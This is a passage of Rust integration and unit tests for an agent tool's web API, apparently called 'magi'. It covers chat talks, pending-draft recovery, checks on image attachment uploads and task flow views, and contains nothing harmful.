11180 );
11181 assert_eq!(turns[0]["who"], "operator");
11182 assert_eq!(turns[0]["body"], "what does the queue module do?");
11183 assert_eq!(
11184 queued["thinking"], true,
11185 "the accepted response exposes the background turn claim: {queued}"
11186 );
11187
11188 let mut turns_after = 1;
11189 for _ in 0..SETTLE_STEPS {
11190 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11191 turns_after = detail["turns"].as_array().expect("turns array").len();
11192 if turns_after == 2 {
11193 break;
11194 }
11195 tokio::time::sleep(Duration::from_millis(10)).await;
11196 }
11197 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11198 }
11199
11200 #[tokio::test]
11227 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11228 let tmp = TempDir::new().expect("tempdir");
11229 let repo = tmp.path().join("repo");
11230 std::fs::create_dir_all(&repo).expect("repo dir");
11231 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11232 let home = TempDir::new().expect("temp home");
11233 let talks = Talks::at(home.path().join("talks"));
11234 let ui = Arc::new(
11235 Ui::new(
11236 Queue::at(home.path().join("queue")),
11237 Questions::at(home.path().join("questions")),
11238 talks.clone(),
11239 home.path().join("runs"),
11240 home.path().to_path_buf(),
11241 repo.clone(),
11242 )
11243 .with_worktrees_root(home.path().join("wt")),
11244 );
11245 let cfg = config_for(&repo).await.expect("discover config");
11246
11247 for delay in 0..40u32 {
11248 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11249 let id = talk.id.clone();
11250
11251 let handler = tokio::spawn(talk_say(
11252 State(Arc::clone(&ui)),
11253 Path(id.clone()),
11254 Ok(Json(NewTalkTurn {
11255 reply_to: None,
11256 text: "what does the queue module do?".to_owned(),
11257 attachments: Vec::new(),
11258 })),
11259 ));
11260 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11261 handler.abort();
11262 let _ = handler.await;
11265
11266 let mut turns = 0;
11267 for _ in 0..SETTLE_STEPS {
11268 if let Ok(fresh) = talks.get(&id) {
11269 turns = fresh.turns.len();
11270 if turns != 1 {
11271 break;
11272 }
11273 }
11274 tokio::time::sleep(Duration::from_millis(10)).await;
11275 }
11276 assert_ne!(
11277 turns, 1,
11278 "delay {delay}: talk {id} recorded the operator's turn but \
11279 the agent never answered - the reply task was never \
11280 started after the handler future was dropped"
11281 );
11282 }
11283 }
11284
11285 #[tokio::test]
11330 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11331 let tmp = TempDir::new().expect("tempdir");
11332 let repo = tmp.path().join("repo");
11333 std::fs::create_dir_all(&repo).expect("repo dir");
11334 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11335 let home = TempDir::new().expect("temp home");
11336 let talks = Talks::at(home.path().join("talks"));
11337 let ui = Arc::new(
11338 Ui::new(
11339 Queue::at(home.path().join("queue")),
11340 Questions::at(home.path().join("questions")),
11341 talks.clone(),
11342 home.path().join("runs"),
11343 home.path().to_path_buf(),
11344 repo.clone(),
11345 )
11346 .with_worktrees_root(home.path().join("wt")),
11347 );
11348 let cfg = config_for(&repo).await.expect("discover config");
11349
11350 for attempt in 0..3u32 {
11351 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11352 let id = talk.id.clone();
11353 let turn_guard = ui
11356 .begin_talk_turn(&id)
11357 .expect("claim the turn")
11358 .expect("a fresh talk owes nobody a turn");
11359
11360 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11361 let (release_tx, release_rx) = std::sync::mpsc::channel();
11362 ui.set_busy_queue_gate(BusyQueueGate {
11363 reached: reached_tx,
11364 release: release_rx,
11365 });
11366
11367 let handler = tokio::spawn(talk_say(
11368 State(Arc::clone(&ui)),
11369 Path(id.clone()),
11370 Ok(Json(NewTalkTurn {
11371 reply_to: None,
11372 text: "what does the queue module do?".to_owned(),
11373 attachments: Vec::new(),
11374 })),
11375 ));
11376
11377 tokio::time::timeout(Duration::from_secs(5), reached_rx)
11382 .await
11383 .unwrap_or_else(|_| {
11384 panic!(
11385 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11386 )
11387 })
11388 .expect("the busy branch dropped the gate without using it");
11389
11390 let running = talks.get(&id).expect("reload talk");
11397 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11398
11399 handler.abort();
11403 let _ = handler.await;
11404
11405 let _ = release_tx.send(());
11411
11412 let mut fresh = talks.get(&id).expect("reload talk");
11415 for _ in 0..SETTLE_STEPS {
11416 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11417 break;
11418 }
11419 tokio::time::sleep(Duration::from_millis(10)).await;
11420 fresh = talks.get(&id).expect("reload talk");
11421 }
11422 assert!(
11423 fresh.pending.is_empty() && fresh.turns.len() == 2,
11424 "attempt {attempt}: talk {id} left the operator's text queued \
11425 with no drainer - the reclaimed turn was dropped along with \
11426 the handler future (pending {:?}, {} turns)",
11427 fresh.pending,
11428 fresh.turns.len()
11429 );
11430 }
11431 }
11432
11433 #[tokio::test]
11434 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11435 let (_tmp, _repo, f) = talk_fixture().await;
11436 let id = f.post("/api/talks", None).await.json()["id"]
11437 .as_str()
11438 .expect("id")
11439 .to_owned();
11440 let store = f.talks();
11441 let mut recovered = store.get(&id).expect("opened talk");
11442 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11443 .expect("persist pending draft without a live turn");
11444
11445 let edited = f
11446 .post(
11447 &format!("/api/talks/{id}/pending/edit"),
11448 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11449 )
11450 .await;
11451 assert_eq!(edited.status, 200, "{}", edited.body);
11452 assert!(edited.json()["thinking"].as_bool().unwrap());
11453
11454 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11455 for _ in 0..SETTLE_STEPS {
11456 if detail["turns"].as_array().expect("turns").len() == 2 {
11457 break;
11458 }
11459 tokio::time::sleep(Duration::from_millis(10)).await;
11460 detail = f.get(&format!("/api/talks/{id}")).await.json();
11461 }
11462 let turns = detail["turns"].as_array().expect("turns");
11463 assert_eq!(
11464 turns.len(),
11465 2,
11466 "the recovered draft must run once: {detail}"
11467 );
11468 assert_eq!(turns[0]["body"], "corrected");
11469 assert_eq!(detail["pending"], "");
11470 }
11471
11472 #[tokio::test]
11473 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11474 let tmp = TempDir::new().expect("tempdir");
11475 let repo = tmp.path().join("repo");
11476 std::fs::create_dir_all(&repo).expect("repo dir");
11477 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11478 let f = Fixture::with_repo(repo).await;
11479 let id = f.post("/api/talks", None).await.json()["id"]
11480 .as_str()
11481 .expect("id")
11482 .to_owned();
11483 let store = f.talks();
11484 let mut recovered = store.get(&id).expect("opened talk");
11485 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11486 .expect("persist pending draft without a live turn");
11487
11488 let refused = f
11489 .post(
11490 &format!("/api/talks/{id}/say"),
11491 Some(r#"{"text":"new message"}"#),
11492 )
11493 .await;
11494 assert_eq!(refused.status, 409, "{}", refused.body);
11495 assert!(refused.body.contains("resume"), "{}", refused.body);
11496 let saved = store.get(&id).expect("draft remains after refusal");
11497 assert!(saved.turns.is_empty());
11498 assert_eq!(saved.pending, "saved before restart");
11499
11500 let say_path = format!("/api/talks/{id}/say");
11501 let (first, second) = tokio::join!(
11502 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11503 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11504 );
11505 assert_eq!(first.status, 409, "{}", first.body);
11506 assert_eq!(second.status, 409, "{}", second.body);
11507 let saved = store
11508 .get(&id)
11509 .expect("draft remains after concurrent refusals");
11510 assert!(saved.turns.is_empty());
11511 assert_eq!(saved.pending, "saved before restart");
11512
11513 let resumed = f
11514 .post(&format!("/api/talks/{id}/pending/resume"), None)
11515 .await;
11516 assert_eq!(resumed.status, 202, "{}", resumed.body);
11517 let duplicate = f
11518 .post(&format!("/api/talks/{id}/pending/resume"), None)
11519 .await;
11520 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11521
11522 for _ in 0..SETTLE_STEPS {
11523 if store.get(&id).expect("talk").turns.len() == 2 {
11524 break;
11525 }
11526 tokio::time::sleep(Duration::from_millis(10)).await;
11527 }
11528 let finished = store.get(&id).expect("finished talk");
11529 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11530 assert_eq!(finished.turns[0].body, "saved before restart");
11531 assert!(finished.pending.is_empty());
11532 }
11533
11534 #[tokio::test]
11535 async fn an_image_only_recovered_draft_resumes_without_text() {
11536 let (_tmp, _repo, f) = talk_fixture().await;
11537 let id = f.post("/api/talks", None).await.json()["id"]
11538 .as_str()
11539 .expect("id")
11540 .to_owned();
11541 let uploaded = f
11542 .post_bytes(
11543 &format!("/api/talks/{id}/attachments"),
11544 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11545 PNG_BYTES,
11546 )
11547 .await;
11548 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11549 let attachment = f
11550 .talks()
11551 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11552 .expect("attachment metadata")
11553 .expect("stored attachment");
11554 let store = f.talks();
11555 let mut recovered = store.get(&id).expect("opened talk");
11556 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11557
11558 let resumed = f
11559 .post(&format!("/api/talks/{id}/pending/resume"), None)
11560 .await;
11561 assert_eq!(resumed.status, 202, "{}", resumed.body);
11562 for _ in 0..SETTLE_STEPS {
11563 if store.get(&id).expect("talk").turns.len() == 2 {
11564 break;
11565 }
11566 tokio::time::sleep(Duration::from_millis(10)).await;
11567 }
11568 let finished = store.get(&id).expect("finished talk");
11569 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11570 assert!(finished.turns[0].body.is_empty());
11571 assert_eq!(finished.turns[0].attachments.len(), 1);
11572 assert!(finished.pending_attachments.is_empty());
11573 }
11574
11575 #[tokio::test]
11576 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11577 let (_tmp, _repo, f) = talk_fixture().await;
11578 let id = f.post("/api/talks", None).await.json()["id"]
11579 .as_str()
11580 .expect("id")
11581 .to_owned();
11582 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11583 assert_eq!(closed.status, 200, "{}", closed.body);
11584 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11585 .expect("serialize closed talk");
11586 for (path, body) in [
11587 (format!("/api/talks/{id}/pending/resume"), None),
11588 (
11589 format!("/api/talks/{id}/pending/clear"),
11590 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11591 ),
11592 (
11593 format!("/api/talks/{id}/pending/edit"),
11594 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11595 ),
11596 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11597 ] {
11598 let response = f.post(&path, body).await;
11599 assert_eq!(response.status, 409, "{}", response.body);
11600 }
11601 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11602 .expect("serialize closed talk");
11603 assert_eq!(
11604 after_clear, before_clear,
11605 "clear must not rewrite a closed talk"
11606 );
11607 }
11608
11609 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11612
11613 #[tokio::test]
11614 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11615 let tmp = TempDir::new().expect("tempdir");
11616 let repo = tmp.path().join("repo");
11617 std::fs::create_dir_all(&repo).expect("repo dir");
11618 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11619 let f = Fixture::with_repo(repo).await;
11620 let id_a = f.post("/api/talks", None).await.json()["id"]
11621 .as_str()
11622 .unwrap()
11623 .to_owned();
11624 let id_b = f.post("/api/talks", None).await.json()["id"]
11625 .as_str()
11626 .unwrap()
11627 .to_owned();
11628
11629 let a = f
11630 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11631 .await;
11632 assert_eq!(a.status, 202, "{}", a.body);
11633 assert_eq!(a.json()["thinking"], true);
11634 let b = f
11635 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11636 .await;
11637 assert_eq!(b.status, 202, "{}", b.body);
11638 assert_eq!(b.json()["thinking"], true);
11639
11640 let listed = f.get("/api/talks").await.json();
11641 for id in [&id_a, &id_b] {
11642 let view = listed
11643 .as_array()
11644 .unwrap()
11645 .iter()
11646 .find(|talk| talk["id"] == *id)
11647 .unwrap();
11648 assert_eq!(view["thinking"], true, "{listed}");
11649 }
11650 let repeated = f
11651 .post(
11652 &format!("/api/talks/{id_a}/say"),
11653 Some(r#"{"text":"again"}"#),
11654 )
11655 .await;
11656 assert_eq!(repeated.status, 202, "{}", repeated.body);
11657 assert_eq!(repeated.json()["pending"], "again");
11658 }
11659
11660 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11663
11664 #[tokio::test]
11665 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11666 let f = Fixture::start().await;
11667 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11668
11669 let res = f
11670 .post_bytes(
11671 &format!("/api/talks/{id}/attachments"),
11672 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11673 PNG_BYTES,
11674 )
11675 .await;
11676 assert_eq!(res.status, 201, "{}", res.body);
11677 let body = res.json();
11678 assert_eq!(body["name"], "shot.png");
11679 assert_eq!(body["mime"], "image/png");
11680 assert_eq!(body["bytes"], PNG_BYTES.len());
11681 let att_id = body["id"].as_str().expect("id").to_owned();
11682 assert_eq!(
11683 att_id.len(),
11684 32,
11685 "the id must never be a client-suppliable path: {att_id}"
11686 );
11687
11688 let got = f
11689 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11690 .await;
11691 assert_eq!(got.status, 200, "{}", got.body);
11692 assert_eq!(got.header("content-type"), Some("image/png"));
11693 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11694 assert_eq!(got.bytes, PNG_BYTES);
11695 }
11696
11697 #[tokio::test]
11698 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11699 let f = Fixture::start().await;
11700 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11701
11702 let svg = f
11705 .post_bytes(
11706 &format!("/api/talks/{id}/attachments"),
11707 &[("Content-Type", "image/svg+xml")],
11708 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11709 )
11710 .await;
11711 assert!(
11712 (400..500).contains(&svg.status),
11713 "svg must be refused: {} {}",
11714 svg.status,
11715 svg.body
11716 );
11717 assert!(svg.body.contains("SVG"), "{}", svg.body);
11718
11719 let text = f
11720 .post_bytes(
11721 &format!("/api/talks/{id}/attachments"),
11722 &[("Content-Type", "text/plain")],
11723 b"just some text",
11724 )
11725 .await;
11726 assert!(
11727 (400..500).contains(&text.status),
11728 "an unlisted type must be refused: {} {}",
11729 text.status,
11730 text.body
11731 );
11732
11733 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11736 let big = f
11737 .post_bytes(
11738 &format!("/api/talks/{id}/attachments"),
11739 &[("Content-Type", "image/png")],
11740 &oversized,
11741 )
11742 .await;
11743 assert_eq!(
11744 big.status,
11745 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11746 "{}",
11747 big.body
11748 );
11749 }
11750
11751 #[tokio::test]
11752 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11753 let f = Fixture::start().await;
11754 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11755
11756 let res = f
11759 .post_bytes(
11760 &format!("/api/talks/{id}/attachments"),
11761 &[("Content-Type", "image/png")],
11762 b"<html>not a picture</html>",
11763 )
11764 .await;
11765 assert!((400..500).contains(&res.status), "{}", res.body);
11766 }
11767
11768 #[tokio::test]
11769 async fn an_unknown_attachment_id_is_a_404() {
11770 let f = Fixture::start().await;
11771 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11772
11773 let res = f
11774 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11775 .await;
11776 assert_eq!(res.status, 404, "{}", res.body);
11777 }
11778
11779 #[tokio::test]
11780 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11781 let f = Fixture::start().await;
11782 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11783
11784 let uploaded = f
11785 .post_bytes(
11786 &format!("/api/talks/{id}/attachments"),
11787 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11788 PNG_BYTES,
11789 )
11790 .await;
11791 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11792 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11793
11794 let res = f
11795 .post(
11796 &format!("/api/talks/{id}/say"),
11797 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11798 )
11799 .await;
11800 assert_eq!(res.status, 202, "{}", res.body);
11801 let queued = res.json();
11802 let turns = queued["turns"].as_array().expect("turns array");
11803 assert_eq!(
11804 turns.len(),
11805 1,
11806 "an empty body with an attachment is still a turn: {queued}"
11807 );
11808 assert_eq!(turns[0]["who"], "operator");
11809 assert_eq!(turns[0]["body"], "");
11810 let atts = turns[0]["attachments"]
11811 .as_array()
11812 .expect("attachments array");
11813 assert_eq!(atts.len(), 1);
11814 assert_eq!(atts[0]["id"], att_id);
11815 assert_eq!(atts[0]["mime"], "image/png");
11816
11817 let on_disk = f.talks().get(&id).expect("get");
11820 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11821 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11822 }
11823
11824 #[tokio::test]
11825 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11826 let f = Fixture::start().await;
11827 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11828
11829 let res = f
11830 .post(
11831 &format!("/api/talks/{id}/say"),
11832 Some(&format!(
11833 r#"{{"text":"hi","attachments":["{}"]}}"#,
11834 "a".repeat(32)
11835 )),
11836 )
11837 .await;
11838 assert!((400..500).contains(&res.status), "{}", res.body);
11839 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11840
11841 let on_disk = f.talks().get(&id).expect("get");
11842 assert!(
11843 on_disk.turns.is_empty(),
11844 "a rejected attachment id must not partially record the turn: {:?}",
11845 on_disk.turns
11846 );
11847 }
11848
11849 #[tokio::test]
11850 async fn talk_close_makes_the_talk_refuse_further_turns() {
11851 let f = Fixture::start().await;
11852 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11853
11854 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11855 assert_eq!(closed.status, 200, "{}", closed.body);
11856 assert_eq!(closed.json()["status"], "closed");
11857
11858 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11860 assert_eq!(closed_again.status, 200);
11861 assert_eq!(closed_again.json()["status"], "closed");
11862
11863 let said = f
11864 .post(
11865 &format!("/api/talks/{id}/say"),
11866 Some(r#"{"text":"too late"}"#),
11867 )
11868 .await;
11869 assert_eq!(said.status, 409, "{}", said.body);
11870 }
11871
11872 #[tokio::test]
11873 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11874 let (_tmp, _repo, f) = talk_fixture().await;
11875 let id = f.post("/api/talks", None).await.json()["id"]
11876 .as_str()
11877 .expect("id")
11878 .to_owned();
11879 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11880 assert_eq!(closed.status, 200, "{}", closed.body);
11881
11882 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11883 assert_eq!(reopened.status, 200, "{}", reopened.body);
11884 assert_eq!(reopened.json()["status"], "open");
11885
11886 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11888 assert_eq!(reopened_again.status, 200);
11889 assert_eq!(reopened_again.json()["status"], "open");
11890
11891 let said = f
11892 .post(
11893 &format!("/api/talks/{id}/say"),
11894 Some(r#"{"text":"still there?"}"#),
11895 )
11896 .await;
11897 assert_eq!(
11898 said.status, 202,
11899 "a reopened talk accepts turns again: {}",
11900 said.body
11901 );
11902 }
11903
11904 #[tokio::test]
11905 async fn talk_reopen_on_an_unknown_id_is_404() {
11906 let f = Fixture::start().await;
11907 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11908 assert_eq!(res.status, 404, "{}", res.body);
11909 }
11910
11911 #[tokio::test]
11912 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11913 let f = Fixture::start().await;
11914 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11915
11916 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11917 assert_eq!(deleted.status, 204, "{}", deleted.body);
11918
11919 let after = f.get(&format!("/api/talks/{id}")).await;
11920 assert_eq!(after.status, 404, "{}", after.body);
11921
11922 let listed = f.get("/api/talks").await.json();
11923 assert!(
11924 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11925 "a deleted talk must not linger in the list: {listed}"
11926 );
11927 }
11928
11929 #[tokio::test]
11930 async fn talk_delete_on_an_unknown_id_is_404() {
11931 let f = Fixture::start().await;
11932 let res = f.delete("/api/talks/nonexistent-id").await;
11933 assert_eq!(res.status, 404, "{}", res.body);
11934 }
11935
11936 #[tokio::test]
11940 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11941 let f = Fixture::start().await;
11942 let (a, b, gone) = (
11943 "20260902-140501-aaaa",
11944 "20260902-140502-bbbb",
11945 "20260902-140503-cccc",
11946 );
11947 write_run(&f.runs(), a, RunStatus::Stalled);
11948 let mut review = RunState::new(
11949 PathBuf::from("/repo/magi"),
11950 "main".to_owned(),
11951 "0123456789abcdef".to_owned(),
11952 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11953 .to_owned(),
11954 Config::default(),
11955 );
11956 review.id = b.to_owned();
11957 review.status = RunStatus::Merged;
11958 write_state(&f.runs(), &review);
11959
11960 let mut task = Task::new(
11961 "retry".to_owned(),
11962 "Do the thing".to_owned(),
11963 PathBuf::from("/repo/magi"),
11964 Source::Human,
11965 );
11966 task.start(a.to_owned());
11967 task.stall("quota");
11968 task.start(a.to_owned());
11969 task.start(b.to_owned());
11970 task.start(gone.to_owned());
11971 f.queue().put(&mut task).expect("file the task");
11972
11973 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11974 assert_eq!(res.status, 200, "{}", res.body);
11975 let v = res.json();
11976 let h = v["history"].as_array().expect("history");
11977 assert_eq!(h.len(), 4, "{v}");
11978 assert_eq!(h[0]["kind"], "competition");
11979 assert_eq!(h[0]["status"], "stalled");
11980 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11981 assert_eq!(h[1]["kind"], "resume", "{v}");
11982 assert!(
11983 h[0]["outcome"]
11984 .as_str()
11985 .unwrap()
11986 .contains("unknown. Pass #2"),
11987 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11988 );
11989 assert!(
11990 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11991 "{v}"
11992 );
11993 assert!(
11994 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11995 "an unrecorded cause must not be narrated as an operator park: {v}"
11996 );
11997 assert_eq!(h[2]["kind"], "review");
11998 assert!(
11999 h[2]["description"]
12000 .as_str()
12001 .unwrap()
12002 .contains("magi/aaaa/A")
12003 );
12004 assert_eq!(h[2]["status"], "merged");
12005 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12006 assert_eq!(v["runs_unreadable"], 1);
12007 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12008 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12009 assert_eq!(nodes[4]["note"], "unreadable");
12010 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12011 assert_eq!(v["instruction"], "Do the thing");
12012 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12013
12014 let run = f.get(&format!("/api/runs/{a}")).await.json();
12016 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12017
12018 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12019 }
12020
12021 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12022 let mut s = RunState::new(
12023 PathBuf::from("/repo/magi"),
12024 "main".to_owned(),
12025 "0123456789abcdef".to_owned(),
12026 "Do it".to_owned(),
12027 Config::default(),
12028 );
12029 s.status = status;
12030 edit(&mut s);
12031 s
12032 }
12033
12034 fn flow_task(runs: &[&str]) -> Task {
12035 let mut t = Task::new(
12036 "t".to_owned(),
12037 "Do it".to_owned(),
12038 PathBuf::from("/repo/magi"),
12039 Source::Human,
12040 );
12041 for r in runs {
12042 t.start((*r).to_owned());
12043 }
12044 t
12045 }
12046
12047 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
12048 let h = task_history(task, |id| {
12049 states
12050 .iter()
12051 .find(|(i, _)| *i == id)
12052 .and_then(|(_, s)| s.clone())
12053 });
12054 task_flow(task, &h, 5, None)
12055 }
12056
12057 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
12058 crate::queue::FollowUp {
12059 run: "20260901-000000-aaaa".to_owned(),
12060 origin_task: origin_task.map(str::to_owned),
12061 pr: "https://example.com/o/r/pull/1".to_owned(),
12062 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
12063 .map(str::to_owned)
12064 .to_vec(),
12065 generation: 1,
12066 }
12067 }
12068
12069 fn parent_task() -> Task {
12070 let mut p = flow_task(&[]);
12071 p.title = "Parent title".to_owned();
12072 p.status = TaskStatus::Done;
12073 p
12074 }
12075
12076 #[test]
12077 fn flow_opens_with_the_parent_task_of_a_followup() {
12078 let p = parent_task();
12079 let pid = p.id.clone();
12080 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
12081 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12082 let n = &f.nodes[0];
12083 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
12084 assert_eq!(
12085 n.label,
12086 format!("Follow-up of {}", crate::queue::short(&pid))
12087 );
12088 assert_eq!(n.detail.as_deref(), Some("Parent title"));
12089 assert_eq!(n.status, Some("done"));
12090 assert_eq!(n.status_of, "task");
12091 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
12092 assert_eq!(f.nodes[1].key, "start");
12093 assert_eq!(f.edges[0].from, "origin");
12094 assert_eq!(
12095 f.edges[0].label,
12096 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
12097 );
12098 }
12099
12100 #[test]
12101 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
12102 let o = followup_origin(
12103 &fu(Some("gone")),
12104 |_| None,
12105 |_| {
12106 Some(RunState::new(
12107 std::path::PathBuf::from("."),
12108 "main".to_owned(),
12109 "0".to_owned(),
12110 "t".to_owned(),
12111 crate::config::Config::default(),
12112 ))
12113 },
12114 );
12115 assert!(o.parent.is_none());
12116 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12117 let n = &f.nodes[0];
12118 assert_eq!(n.status_of, "run");
12119 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
12120 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
12121 }
12122
12123 #[test]
12124 fn flow_followup_with_nothing_readable_has_no_link() {
12125 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
12126 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
12127 let n = &f.nodes[0];
12128 assert_eq!(n.href, None);
12129 assert_eq!(n.note, Some("unreadable"));
12130 assert!(!n.readable);
12131 }
12132
12133 #[test]
12134 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12135 let o = followup_origin(&fu(None), |_| None, |_| None);
12136 let mut t = flow_task(&[]);
12137 t.origin_chat = Some("c1".to_owned());
12138 let f = task_flow(&t, &[], 5, Some(&o));
12139 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12140 t.source = Source::Agent {
12141 run: "c1".to_owned(),
12142 node: crate::queue::CHAT_NODE.to_owned(),
12143 };
12144 let f = task_flow(&t, &[], 5, Some(&o));
12145 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12146 assert_eq!(
12147 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12148 ("chat", "origin")
12149 );
12150 }
12151
12152 #[test]
12153 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12154 let mut p = parent_task();
12155 p.id = "a b/c".to_owned();
12156 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12157 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12158 }
12159
12160 #[test]
12161 fn flow_opens_with_the_chat_that_queued_the_task() {
12162 let mut t = flow_task(&[]);
12163 t.source = Source::Agent {
12164 run: "a b/c".to_owned(),
12165 node: crate::queue::CHAT_NODE.to_owned(),
12166 };
12167 let f = flow_for(&t, &[]);
12168 assert_eq!(f.nodes[0].key, "chat");
12169 assert_eq!(f.nodes[0].kind, "chat");
12170 assert_eq!(
12171 f.nodes[0].label,
12172 format!("Chat {}", crate::queue::short("a b/c"))
12173 );
12174 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
